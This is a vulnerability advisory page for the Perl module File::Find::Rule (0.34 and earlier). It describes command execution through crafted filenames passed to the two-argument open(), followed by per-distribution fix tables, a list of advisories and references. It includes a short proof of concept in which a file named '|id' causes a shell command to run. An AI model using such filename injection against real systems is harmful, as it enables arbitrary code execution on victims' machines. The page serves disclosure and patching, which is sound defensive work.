Description
File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename.
A file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed.
Example:
$ mkdir /tmp/poc; echo > "/tmp/poc/|id"
$ perl -MFile::Find::Rule \
-E 'File::Find::Rule->grep("foo")->in("/tmp/poc")'
uid=1000(user) gid=1000(user) groups=1000(user),100(users)
Affected products
| Vendor | Product | Affected | Fixed |
|---|---|---|---|
| RCLAMP | File::Find::Rule | ≤ 0.34 | — |
Fixed in Linux distributions
Distributions backport fixes, so the version that fixes this vulnerability differs per release — upgrade to at least the version shown. From the distributions' security trackers and advisories.
Debian
Security tracker ↗| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| Debian 14 | libfile-find-rule-perl | 0.34-4 | — |
| Debian 13 | libfile-find-rule-perl | 0.34-4 | — |
| Debian 12 | libfile-find-rule-perl | 0.34-4~deb12u1 | DSA-5936-1 |
| Debian 11 | libfile-find-rule-perl | 0.34-1+deb11u1 | DLA-4209-1 |
Ubuntu
Security tracker ↗| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| Ubuntu 24.04 LTS | libfile-find-rule-perl | 0.34-3ubuntu0.24.04.1 | USN-7620-1 |
| Ubuntu 22.04 LTS | libfile-find-rule-perl | 0.34-1ubuntu0.22.04.1 | USN-7620-1 |
| Ubuntu 20.04 LTS | libfile-find-rule-perl | No fix yet | — |
| Ubuntu 18.04 LTS | libfile-find-rule-perl | No fix yet | — |
| Ubuntu 16.04 LTS | libfile-find-rule-perl | No fix yet | — |
Red Hat
Security tracker ↗| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| RHEL 9 | perl-File-Find-Rule | 0.34-19.1.el9_6 | RHSA-2025:9517 |
| RHEL 8 | perl-File-Find-Rule | 0.34-9.el8_10 | RHSA-2025:9605 |
Show 2 more (older releases, extended support, other products)Fewer releases
| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| RHEL 9.4 EUS | perl-File-Find-Rule | 0.34-19.el9_4.1 | RHSA-2025:9658 |
| RHEL 7 ELS | perl-File-Find-Rule | 0.33-5.el7_9.1 | RHSA-2025:9741 |
| RHEL 7 ELS | perl-File-Find-Rule-Perl | 1.13-2.el7_9.1 | RHSA-2025:9740 |
AlmaLinux
Errata ↗| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| AlmaLinux 9 | perl-File-Find-Rule | 0.34-19.1.el9_6 | ALSA-2025:9517 |
| AlmaLinux 8 | perl-File-Find-Rule | 0.34-9.el8_10 | ALSA-2025:9605 |
Rocky Linux
Errata ↗| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| Rocky Linux 9 | perl-File-Find-Rule | 0.34-19.1.el9_6 | RLSA-2025:9517 |
| Rocky Linux 8 | perl-File-Find-Rule | 0.34-9.el8_10 | RLSA-2025:9605 |
SUSE
Security tracker ↗| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| SLES 15 SP7 | perl-File-Find-Rule | 0.34-150000.3.3.1 | SUSE-SU-2025:02105-1 |
| SLES 15 SP6 | perl-File-Find-Rule | 0.34-150000.3.3.1 | SUSE-SU-2025:02105-1 |
| SLES 15 SP5 | perl-File-Find-Rule | 0.34-150000.3.3.1 | SUSE-SU-2025:02105-1 |
| SLES 15 SP4 | perl-File-Find-Rule | 0.34-150000.3.3.1 | SUSE-SU-2025:02105-1 |
| SLES 15 SP3 | perl-File-Find-Rule | 0.34-150000.3.3.1 | SUSE-SU-2025:02105-1 |
Show 9 more (older releases, extended support, other products)Fewer releases
| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| SLES for SAP 15 SP5 | perl-File-Find-Rule | 0.34-150000.3.3.1 | SUSE-SU-2025:02105-1 |
| SLES for SAP 15 SP4 | perl-File-Find-Rule | 0.34-150000.3.3.1 | SUSE-SU-2025:02105-1 |
| SLES for SAP 15 SP3 | perl-File-Find-Rule | 0.34-150000.3.3.1 | SUSE-SU-2025:02105-1 |
| SLE HPC 15 SP5 | perl-File-Find-Rule | 0.34-150000.3.3.1 | SUSE-SU-2025:02105-1 |
| SLE HPC 15 SP4 | perl-File-Find-Rule | 0.34-150000.3.3.1 | SUSE-SU-2025:02105-1 |
| SLE HPC 15 SP3 | perl-File-Find-Rule | 0.34-150000.3.3.1 | SUSE-SU-2025:02105-1 |
| SUSE Manager Server 4.3 | perl-File-Find-Rule | 0.34-150000.3.3.1 | SUSE-SU-2025:02105-1 |
| SUSE Manager Proxy 4.3 | perl-File-Find-Rule | 0.34-150000.3.3.1 | SUSE-SU-2025:02105-1 |
| SUSE Enterprise Storage 7.1 | perl-File-Find-Rule | 0.34-150000.3.3.1 | SUSE-SU-2025:02105-1 |
openSUSE
Security tracker ↗| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| openSUSE Tumbleweed | perl-File-Find-Rule | 0.350.0-1.1 | openSUSE-SU-2025:15260-1 |
| openSUSE Leap 15.6 | perl-File-Find-Rule | 0.34-150000.3.3.1 | SUSE-SU-2025:02105-1 |
Alpine
Security tracker ↗| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| Alpine v3.24 | perl-file-find-rule | 0.35-r0 | — |
| Alpine v3.23 | perl-file-find-rule | 0.35-r0 | — |
| Alpine v3.22 | perl-file-find-rule | 0.35-r0 | — |
Amazon Linux
| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| Amazon Linux 2023 | perl-File-Find-Rule | 0.34-17.amzn2023.0.3 | ALAS2023-2025-1048 |
| Amazon Linux 2023 | perl-File-Find-Rule-Perl | 1.15-19.amzn2023.0.3 | ALAS2023-2025-1047 |
| Amazon Linux 2 | perl-File-Find-Rule | 0.33-5.amzn2.0.1 | ALAS2-2025-2891 |
| Amazon Linux 2 | perl-File-Find-Rule-Perl | 1.13-2.amzn2.0.2 | ALAS2-2025-2908 |
Azure Linux
| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| Azure Linux 3 | perl-File-Find-Rule | No fix yet | — |
| Azure Linux 2 (CBL-Mariner) | perl-File-Find-Rule | No fix yet | — |
Oracle Linux
| Release | Package | Fixed in | Advisory |
|---|---|---|---|
| Oracle Linux 9 | perl-File-Find-Rule | 0.34-19.1.el9_6 | ELSA-2025-9517 |
| Oracle Linux 8 | perl-File-Find-Rule | 0.34-9.el8_10 | ELSA-2025-9605 |
| Oracle Linux 7 | perl-File-Find-Rule | 0.33-5.0.1.el7 | ELSA-2025-9741 |
| Oracle Linux 7 | perl-File-Find-Rule-Perl | 1.13-2.0.1.el7 | ELSA-2025-9740 |
Advisories 23
- ALSA-2025:9517 Important: perl-File-Find-Rule security update AlmaLinux Security Advisories · Oct 29, 2026
- ALSA-2025:9605 Important: perl-File-Find-Rule security update AlmaLinux Security Advisories · Oct 29, 2026
- RHSA-2025:9740 Red Hat Security Advisory: perl-File-Find-Rule-Perl security update Red Hat Security Advisories (RHSA) · Jun 30, 2026
- RHSA-2025:9741 Red Hat Security Advisory: perl-File-Find-Rule security update Red Hat Security Advisories (RHSA) · Jun 30, 2026
- RHSA-2025:9658 Red Hat Security Advisory: perl-File-Find-Rule security update Red Hat Security Advisories (RHSA) · Jun 30, 2026
- RHSA-2025:9605 Red Hat Security Advisory: perl-File-Find-Rule security update Red Hat Security Advisories (RHSA) · Jun 30, 2026
- RHSA-2025:9517 Red Hat Security Advisory: perl-File-Find-Rule security update Red Hat Security Advisories (RHSA) · Jun 30, 2026
- WID-SEC-2025-1393 Red Hat Enterprise Linux: Schwachstelle ermöglicht Codeausführung BSI CERT-Bund (WID) · May 21, 2026
- USN-7620-1 File::Find::Rule vulnerability Ubuntu Security Notices (USN) · Apr 27, 2026
- openSUSE-SU-2025:15260-1 perl-File-Find-Rule-0.350.0-1.1 on GA media SUSE / openSUSE Security Updates · Mar 23, 2026
- SUSE-SU-2025:02105-1 Security update for perl-File-Find-Rule SUSE / openSUSE Security Updates · Mar 23, 2026
- DSA-5936-1 libfile-find-rule-perl - security update Debian Security (DSA / DLA) · Mar 9, 2026
- DLA-4209-1 libfile-find-rule-perl - security update Debian Security (DSA / DLA) · Mar 9, 2026
- RLSA-2025:9517 Important: perl-File-Find-Rule security update Rocky Linux Security Advisories · Oct 7, 2025
- RLSA-2025:9605 Important: perl-File-Find-Rule security update Rocky Linux Security Advisories · Jul 29, 2025
- ELSA-2025-9741 Important: perl-File-Find-Rule security update (Oracle Linux 7) Oracle Linux Security Advisories (ELSA) · Jul 10, 2025
- ELSA-2025-9740 Important: perl-File-Find-Rule-Perl security update (Oracle Linux 7) Oracle Linux Security Advisories (ELSA) · Jul 8, 2025
- ELSA-2025-9605 Important: perl-File-Find-Rule security update (Oracle Linux 8) Oracle Linux Security Advisories (ELSA) · Jun 25, 2025
- ALAS2-2025-2908 Important: perl-File-Find-Rule-Perl security update (Amazon Linux 2) Amazon Linux Security Center (ALAS) · Jun 24, 2025
- ELSA-2025-9517 Important: perl-File-Find-Rule security update (Oracle Linux 9) Oracle Linux Security Advisories (ELSA) · Jun 24, 2025
- ALAS2023-2025-1047 Important: perl-File-Find-Rule-Perl security update (Amazon Linux 2023) Amazon Linux Security Center (ALAS) · Jun 23, 2025
- ALAS2023-2025-1048 Important: perl-File-Find-Rule security update (Amazon Linux 2023) Amazon Linux Security Center (ALAS) · Jun 23, 2025
- ALAS2-2025-2891 Important: perl-File-Find-Rule security update (Amazon Linux 2) Amazon Linux Security Center (ALAS) · Jun 12, 2025
References
- https://metacpan.org/release/RCLAMP/File-Find-Rule-0.34/source/lib/File/Find/Rule.pm#L423
- https://rt.cpan.org/Public/Bug/Display.html?id=64504 issue-tracking exploit
- https://github.com/richardc/perl-file-find-rule/pull/4 issue-tracking
- https://github.com/richardc/perl-file-find-rule/commit/df58128bcee4c1da78c34d7f3fe1357e575ad56f.patch patch